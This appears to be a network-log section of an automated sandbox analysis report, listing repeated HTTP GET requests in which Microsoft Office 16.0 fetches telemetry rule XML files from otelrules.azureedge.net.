Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
